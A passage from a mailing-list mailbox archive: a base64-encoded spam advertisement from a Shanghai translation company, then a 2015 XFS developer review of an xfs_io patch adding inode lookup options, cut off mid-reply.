fraud (Nigerian 419) 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain --=-sinamail_alt_1df07c5fbcd5cefd2d0b8edf024d4ac7 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: base64 Content-Disposition: inline DQpEZWFyIE1hbmFnZXIsIApXaXRoIHRoZSBiZXN0IGludGVudGlvbiwgd2UgYXJlIHdyaXRpbmcg dGhpcyBsZXR0ZXIgdG8gc2VlIGlmIHRoZXJlIGlzIGFueSBwb3NzaWJpbGl0eSB0aGF0IHdlIGNv dWxkIHdvcmsgdG9nZXRoZXIgYXMgZ2xvYmFsIHBhcnRuZXJzLiAKU2hhbmdoYWkgV29uZGVyZnVs IFRyYW5zbGF0aW9uIENvbXBhbnksIGEgbGVhZGluZyB0cmFuc2xhdGlvbiAmIGludGVycHJldGF0 aW9uIGNvbXBhbnkgaW4gQ2hpbmEsIGRlZGljYXRlcyBpdHNlbGYgaW4gcHJvdmlkaW5nIG91ciBj bGllbnRzIHdpdGggaGlnaGx5IHByb2Zlc3Npb25hbCBsYW5ndWFnZSBzb2x1dGlvbnMuIEZvY3Vz aW5nIG9uIHRoZSBlbmdpbmVlcmluZywgbWFudWZhY3R1cmluZywgd2Vic2l0ZSAmIHNvZnR3YXJl IGxvY2FsaXphdGlvbiBmaWVsZHMsIHdlIGhhdmUgZGVmaW5lZCBhbiBpbXBvcnRhbnQgY2xpZW50 IGJhc2UuIApQbGVhc2UgdGVsbCB1cyBpZiB5b3UgbmVlZCBvdXIgcHJvZmVzc2lvbmFsIHRyYW5z bGF0aW9uIHNlcnZpY2VzIGFmdGVyIHlvdSBnbyB0aHJvdWdoIHRoaXMgbGV0dGVyLiBUaGFuayB5 b3UhIApUaGUgYWR2YW50YWdlcyBvZiB3b3JraW5nIHdpdGggdXM6IAoxLiBSZWR1Y2UgWW91ciBD b3N0ClRoZSBwcmljZXMgd2Ugb2ZmZXIgYXJlIG11Y2ggbG93ZXIgdGhhbiB0aGF0IG9mIG90aGVy IHRyYW5zbGF0aW9uIGNvbXBhbmllcy4gRm9yIGV4YW1wbGUsIGl0IG1heSBjb3N0IDEwMCBVU0Qg Zm9yIHRyYW5zbGF0aW5nIGEgZG9jdW1lbnQgaW4geW91ciBjb3VudHJ5LCBhbmQgaXQgY29zdHMg b25seSA0MCBVU0QgZm9yIHRyYW5zbGF0aW5nIHRoZSBzYW1lIGRvY3VtZW50IGluIG15IGNvbXBh bnkuIAoyLiBDb3JlIENvbXBldGl0aXZlIEVkZ2UKQXMgeW91IGtub3csIENoaW5lc2UgaXMgb3Vy IG5hdGl2ZSBsYW5ndWFnZSwgd2UgYXNzdXJlIHlvdSBvZiAxMDAlIGhpZ2ggcXVhbGl0eSBpbiB0 aGUgbXV0dWFsIHRyYW5zbGF0aW9uIGJldHdlZW4gQ2hpbmVzZSBhbmQgb3RoZXIgbGFuZ3VhZ2Vz LiBPdXIgY29tcGFueSBzcGVjaWFsaXplcyBpbiBBc2lhbiBsYW5ndWFnZSB0cmFuc2xhdGlvbi4g T3VyIGNvbXBhbnkgaGFzIHdvbiBhIGdvb2QgcmVwdXRhdGlvbiBpbiB3ZWJzaXRlICYgc29mdHdh cmUgbG9jYWxpemF0aW9uIGZvciBjb21wYW5pZXMgaW4gSmFwYW4uIAozLiBHdWFyYW50ZWVkIFF1 YWxpdHkKV2UgdXRpbGl6ZSB0aGUgbGF0ZXN0IHRlY2hub2xvZ2ljYWwgYWR2YW5jZW1lbnRzIHRv IG1lZXQgYWxsIG9mIHlvdXIgbmVlZHMgaW4gbW9zdCBzdGFuZGFyZCBzb2Z0d2FyZSBhcHBsaWNh dGlvbnMsIHN1Y2ggYXMgUXVhcmtYcHJlc3MsIEFkb2JlIEluRGVzaWduLCBBZG9iZSBQYWdlbWFr ZXIsIEFkb2JlIEZyYW1lTWFrZXIsIGV0Yy4gRnVydGhlciBtb3JlLCB3ZSBjYW4gYWNjb21tb2Rh dGUgeW91ciBuZWVkcyBmb3IgYm90aCBNYWMgYW5kIFBDIHBsYXRmb3JtcyB3aXRoIGEgdmFyaWV0 eSBvZiBmb250cyBmb3IgYWxsIGRpZmZlcmVudCBsYW5ndWFnZXMuIAo0LiBIaWdoIFNwZWVkCjUw MDAgRW5nbGlzaCB3b3Jkcy9kYXkvb25lIHRyYW5zbGF0b3IuIAo1LiBDb25maWRlbnRpYWxpdHkK V2Ugc2lnbiBjb250cmFjdHMgdG8gcHJvdGVjdCBvdXIgY3VzdG9tZXJz4oCZIHByaXZhY3kuIAo2 LiBMZXNzIFdvcnJ5CldlIGhhdmUgVVNEIGludGVybWVkaWFyeSBiYW5rLCB0aGUgZm9yZWlnbiBl eGNoYW5nZSBjYW4gYmUgdHJhbnNtaXR0ZWQgZGlyZWN0bHkgaW50byBvdXIgY29tcGFueeKAmXMg YmFuay4gSXTigJlzIGVhc3kgYW5kIHNhZmUuIApGb3IgZnVydGhlciBpbmZvcm1hdGlvbiwgcGxl YXNlIHNlZSB0aGUgYXR0YWNoZWQgY29tcGFueSBwcm9maWxlIGFuZCB5b3UgYXJlIHdlbGNvbWUg dG8gbG9nIG9uIG91ciB3ZWJzaXRlOiB3d3cuc2h3ZGYuY29tIApXZSB3b3VsZCBncmVhdGx5IGFw cHJlY2lhdGUgaXQgaWYgeW91IHdvdWxkIHNlcmlvdXNseSBjb25zaWRlciBvdXIgcHJvcG9zYWwu IApCZXN0IHJlZ2FyZHMNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoN Cg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0K DQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoN Cg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0K DQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoN Cg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KIA0KTHVjeQpBY2NvdW50IEV4 ZWN1dGl2ZSAKTW9iaWxlIFBob25lOiAxODkxNzM4ODQ2MiAKRW1haWw6IHdkZkBzaHdkZi5jb20g ClFROjQxMjk1NDUwMA0KQWRkOiBBMTEwNSwgMjI4IFpoYW5neWFuZyBSb2FkLCBUb21zb24gQ2Vu dGVyLCBMdWppYXp1aSBGaW5hbmNpYWwmVHJhZGUgWm9uZSwgUHVkb25nLCBTaGFuZ2hhaSwgMjAw MTIy --=-sinamail_alt_1df07c5fbcd5cefd2d0b8edf024d4ac7 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: base64 Content-Disposition: inline PERJViBpZD1vcmlnYm9keT4NCjxESVYgc3R5bGU9IkJBQ0tHUk9VTkQ6ICNmMmYyZjIiPkRlYXIg TWFuYWdlciwgPEJSPldpdGggdGhlIGJlc3QgaW50ZW50aW9uLCB3ZSBhcmUgd3JpdGluZyB0aGlz IGxldHRlciB0byBzZWUgaWYgdGhlcmUgaXMgYW55IHBvc3NpYmlsaXR5IHRoYXQgd2UgY291bGQg d29yayB0b2dldGhlciBhcyBnbG9iYWwgcGFydG5lcnMuIDxCUj5TaGFuZ2hhaSBXb25kZXJmdWwg VHJhbnNsYXRpb24gQ29tcGFueSwgYSBsZWFkaW5nIHRyYW5zbGF0aW9uICZhbXA7IGludGVycHJl dGF0aW9uIGNvbXBhbnkgaW4gQ2hpbmEsIGRlZGljYXRlcyBpdHNlbGYgaW4gcHJvdmlkaW5nIG91 ciBjbGllbnRzIHdpdGggaGlnaGx5IHByb2Zlc3Npb25hbCBsYW5ndWFnZSBzb2x1dGlvbnMuIEZv Y3VzaW5nIG9uIHRoZSBlbmdpbmVlcmluZywgbWFudWZhY3R1cmluZywgd2Vic2l0ZSAmYW1wOyBz b2Z0d2FyZSBsb2NhbGl6YXRpb24gZmllbGRzLCB3ZSBoYXZlIGRlZmluZWQgYW4gaW1wb3J0YW50 IGNsaWVudCBiYXNlLiA8QlI+UGxlYXNlIHRlbGwgdXMgaWYgeW91IG5lZWQgb3VyIHByb2Zlc3Np b25hbCB0cmFuc2xhdGlvbiBzZXJ2aWNlcyBhZnRlciB5b3UgZ28gdGhyb3VnaCB0aGlzIGxldHRl ci4gVGhhbmsgeW91ISA8QlI+VGhlIGFkdmFudGFnZXMgb2Ygd29ya2luZyB3aXRoIHVzOiA8QlI+ MS4gUmVkdWNlIFlvdXIgQ29zdDxCUj5UaGUgcHJpY2VzIHdlIG9mZmVyIGFyZSBtdWNoIGxvd2Vy IHRoYW4gdGhhdCBvZiBvdGhlciB0cmFuc2xhdGlvbiBjb21wYW5pZXMuIEZvciBleGFtcGxlLCBp dCBtYXkgY29zdCAxMDAgVVNEIGZvciB0cmFuc2xhdGluZyBhIGRvY3VtZW50IGluIHlvdXIgY291 bnRyeSwgYW5kIGl0IGNvc3RzIG9ubHkgNDAgVVNEIGZvciB0cmFuc2xhdGluZyB0aGUgc2FtZSBk b2N1bWVudCBpbiBteSBjb21wYW55LiA8QlI+Mi4gQ29yZSBDb21wZXRpdGl2ZSBFZGdlPEJSPkFz IHlvdSBrbm93LCBDaGluZXNlIGlzIG91ciBuYXRpdmUgbGFuZ3VhZ2UsIHdlIGFzc3VyZSB5b3Ug b2YgMTAwJSBoaWdoIHF1YWxpdHkgaW4gdGhlIG11dHVhbCB0cmFuc2xhdGlvbiBiZXR3ZWVuIENo aW5lc2UgYW5kIG90aGVyIGxhbmd1YWdlcy4gT3VyIGNvbXBhbnkgc3BlY2lhbGl6ZXMgaW4gQXNp YW4gbGFuZ3VhZ2UgdHJhbnNsYXRpb24uIE91ciBjb21wYW55IGhhcyB3b24gYSBnb29kIHJlcHV0 YXRpb24gaW4gd2Vic2l0ZSAmYW1wOyBzb2Z0d2FyZSBsb2NhbGl6YXRpb24gZm9yIGNvbXBhbmll cyBpbiBKYXBhbi4gPEJSPjMuIEd1YXJhbnRlZWQgUXVhbGl0eTxCUj5XZSB1dGlsaXplIHRoZSBs YXRlc3QgdGVjaG5vbG9naWNhbCBhZHZhbmNlbWVudHMgdG8gbWVldCBhbGwgb2YgeW91ciBuZWVk cyBpbiBtb3N0IHN0YW5kYXJkIHNvZnR3YXJlIGFwcGxpY2F0aW9ucywgc3VjaCBhcyBRdWFya1hw cmVzcywgQWRvYmUgSW5EZXNpZ24sIEFkb2JlIFBhZ2VtYWtlciwgQWRvYmUgRnJhbWVNYWtlciwg ZXRjLiBGdXJ0aGVyIG1vcmUsIHdlIGNhbiBhY2NvbW1vZGF0ZSB5b3VyIG5lZWRzIGZvciBib3Ro IE1hYyBhbmQgUEMgcGxhdGZvcm1zIHdpdGggYSB2YXJpZXR5IG9mIGZvbnRzIGZvciBhbGwgZGlm ZmVyZW50IGxhbmd1YWdlcy4gPEJSPjQuIEhpZ2ggU3BlZWQ8QlI+NTAwMCBFbmdsaXNoIHdvcmRz L2RheS9vbmUgdHJhbnNsYXRvci4gPEJSPjUuIENvbmZpZGVudGlhbGl0eTxCUj5XZSBzaWduIGNv bnRyYWN0cyB0byBwcm90ZWN0IG91ciBjdXN0b21lcnPigJkgcHJpdmFjeS4gPEJSPjYuIExlc3Mg V29ycnk8QlI+V2UgaGF2ZSBVU0QgaW50ZXJtZWRpYXJ5IGJhbmssIHRoZSBmb3JlaWduIGV4Y2hh bmdlIGNhbiBiZSB0cmFuc21pdHRlZCBkaXJlY3RseSBpbnRvIG91ciBjb21wYW554oCZcyBiYW5r LiBJdOKAmXMgZWFzeSBhbmQgc2FmZS4gPEJSPkZvciBmdXJ0aGVyIGluZm9ybWF0aW9uLCBwbGVh c2Ugc2VlIHRoZSBhdHRhY2hlZCBjb21wYW55IHByb2ZpbGUgYW5kIHlvdSBhcmUgd2VsY29tZSB0 byBsb2cgb24gb3VyIHdlYnNpdGU6IDxBIGhyZWY9IndsbWFpbGh0bWw6e0QxNkJGRDcwLTUwQ0Ut NEVDNS1BMkI3LTI3QUQ0MzI0NjAyMX1taWQ6Ly8wMDAwMDIwOS8heC11c2M6aHR0cDovL3d3dy5z aHdkZi5jb20vIiB0YXJnZXQ9X2JsYW5rIF9hY3Q9ImNoZWNrX2RvbWFpbCI+PEZPTlQgY29sb3I9 IzQwNDA0MD53d3cuc2h3ZGYuY29tPC9GT05UPjwvQT4gPEJSPldlIHdvdWxkIGdyZWF0bHkgYXBw cmVjaWF0ZSBpdCBpZiB5b3Ugd291bGQgc2VyaW91c2x5IGNvbnNpZGVyIG91ciBwcm9wb3NhbC4g PEJSPkJlc3QgcmVnYXJkczwvRElWPg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxESVYgaWQ9b3JpZ2Jv ZHk+DQo8RElWIGlkPW9yaWdib2R5Pg0KPERJViBpZD1vcmlnYm9keT4NCjxQIHN0eWxlPSJCQUNL R1JPVU5EOiByZ2IoMjQyLDI0MiwyNDIpIj4mbmJzcDs8L1A+DQo8UCBzdHlsZT0iQkFDS0dST1VO RDogcmdiKDI0MiwyNDIsMjQyKSI+THVjeTxCUj5BY2NvdW50IEV4ZWN1dGl2ZSA8QlI+TW9iaWxl IFBob25lOiAxODkxNzM4ODQ2MiA8QlI+RW1haWw6IDxBIGhyZWY9IndsbWFpbGh0bWw6e0QxNkJG RDcwLTUwQ0UtNEVDNS1BMkI3LTI3QUQ0MzI0NjAyMX1taWQ6Ly8wMDAwMDIwOS8heC11c2M6bWFp bHRvOndkZkBzaHdkZi5jb20iIHRhcmdldD1fYmxhbmsgX2FjdD0iY2hlY2tfZG9tYWlsIj48Rk9O VCBjb2xvcj0jNDA0MDQwPndkZkBzaHdkZi5jb208L0ZPTlQ+PC9BPiA8QlI+UVE6NDEyOTU0NTAw PC9QPg0KPFAgc3R5bGU9IkJBQ0tHUk9VTkQ6IHJnYigyNDIsMjQyLDI0MikiPkFkZDogQTExMDUs IDIyOCBaaGFuZ3lhbmcgUm9hZCwgVG9tc29uIENlbnRlciwgTHVqaWF6dWkgRmluYW5jaWFsJmFt cDtUcmFkZSBab25lLCBQdWRvbmcsIFNoYW5naGFpLCAyMDAxMjI8L1A+PC9ESVY+PC9ESVY+PC9E SVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+ PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9E SVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+ PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9E SVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+ PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9E SVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+ PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9E SVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+ PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9E SVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+ PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9E SVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+ PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9E SVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+ PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9ESVY+PC9E SVY+ --=-sinamail_alt_1df07c5fbcd5cefd2d0b8edf024d4ac7-- From cmaiolino@redhat.com Fri Oct 9 03:33:20 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CBD4C7F37 for ; Fri, 9 Oct 2015 03:33:20 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id BAA638F8033 for ; Fri, 9 Oct 2015 01:33:20 -0700 (PDT) X-ASG-Debug-ID: 1444379598-04cb6c578a57690001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 6qeLbJFcc65IVz5l (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 09 Oct 2015 01:33:19 -0700 (PDT) X-Barracuda-Envelope-From: cmaiolino@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (Postfix) with ESMTPS id E34BF46 for ; Fri, 9 Oct 2015 08:33:17 +0000 (UTC) Received: from redhat.com (dhcp-26-103.brq.redhat.com [10.34.26.103]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t998XDcK024221 (version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=NO); Fri, 9 Oct 2015 04:33:16 -0400 Date: Fri, 9 Oct 2015 10:33:13 +0200 From: Carlos Maiolino To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH 3/3] xfs_io: implement inode '-n' and [num] argument Message-ID: <20151009083313.GA28373@redhat.com> X-ASG-Orig-Subj: Re: [PATCH 3/3] xfs_io: implement inode '-n' and [num] argument Mail-Followup-To: Brian Foster , xfs@oss.sgi.com References: <1443186467-20110-1-git-send-email-cmaiolino@redhat.com> <1443186467-20110-4-git-send-email-cmaiolino@redhat.com> <20151006170055.GD63205@bfoster.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151006170055.GD63205@bfoster.bfoster> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444379599 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Tue, Oct 06, 2015 at 01:00:56PM -0400, Brian Foster wrote: > On Fri, Sep 25, 2015 at 03:07:47PM +0200, Carlos Maiolino wrote: > > "-n [num]" argument, will return to the user the next inode valid on the filesystem > > after [num]. > > > > Using [num] exclusive, will test if the inode [num] is a valid inode in the > > filesystem or not. > > > > Signed-off-by: Carlos Maiolino > > --- > > io/open.c | 84 +++++++++++++++++++++++++++++++++++++++++++++++++++++++-------- > > 1 file changed, 74 insertions(+), 10 deletions(-) > > > > diff --git a/io/open.c b/io/open.c > > index 57ff0bf..9f68de0 100644 > > --- a/io/open.c > > +++ b/io/open.c > > @@ -762,6 +762,8 @@ inode_help(void) > > " -l -- Returns the largest inode number in the filesystem\n" > > " -s -- Returns the physical size (in bits) of the\n" > > " largest inode number in the filesystem\n" > > +" -n -- Return the next valid inode after [num]" > > +"[num] Check if the inode [num] exists in the filesystem" > > "\n")); > > } > > > > @@ -774,18 +776,19 @@ inode_f( > > __s32 lastgrp = 0; > > __u64 last = 0; > > __u64 lastino = 0; > > - struct xfs_inogrp igroup[1024]; > > - struct xfs_fsop_bulkreq bulkreq; > > + __u64 userino = 0; > > + char *p; > > int c; > > int ret_lsize = 0; > > int ret_largest = 0; > > + int ret_isvalid = 0; > > + int ret_next = 0; > > + struct xfs_inogrp igroup[1024]; > > + struct xfs_fsop_bulkreq bulkreq; > > + struct xfs_bstat bstat; > > > > - bulkreq.lastip = &last; > > - bulkreq.icount = 1024; /* maybe an user-defined value!? */ > > - bulkreq.ubuffer = &igroup; > > - bulkreq.ocount = &count; > > > > - while ((c = getopt(argc, argv, "sl")) != EOF) { > > + while ((c = getopt(argc, argv, "sln:")) != EOF) { > > switch (c) { > > case 's': > > ret_lsize = 1; > > @@ -793,12 +796,34 @@ inode_f( > > case 'l': > > ret_largest = 1; > > break; > > + case 'n': > > + ret_next = 1; > > + userino = strtoull(optarg, &p, 10); > > + break; > > default: > > return command_usage(&inode_cmd); > > } > > } > > > > + if ((optind < argc) && !(ret_next || ret_lsize || ret_largest)) { > > + ret_isvalid = 1; > > + userino = strtoull(argv[optind], &p, 10); > > + } > > So this appears to be the default behavior (validate whether an inode > exists). Perhaps this functionality should come first since that's the > core behavior for the command. > Hmm, I don't think so, I need getopt() to setup optind for this. > > + > > + if (userino) > > + if (*p != '\0') { > > + printf("[num] must be a valid number\n"); > > + exitcode = 1; > > + return 0; > > + } > > + > > if 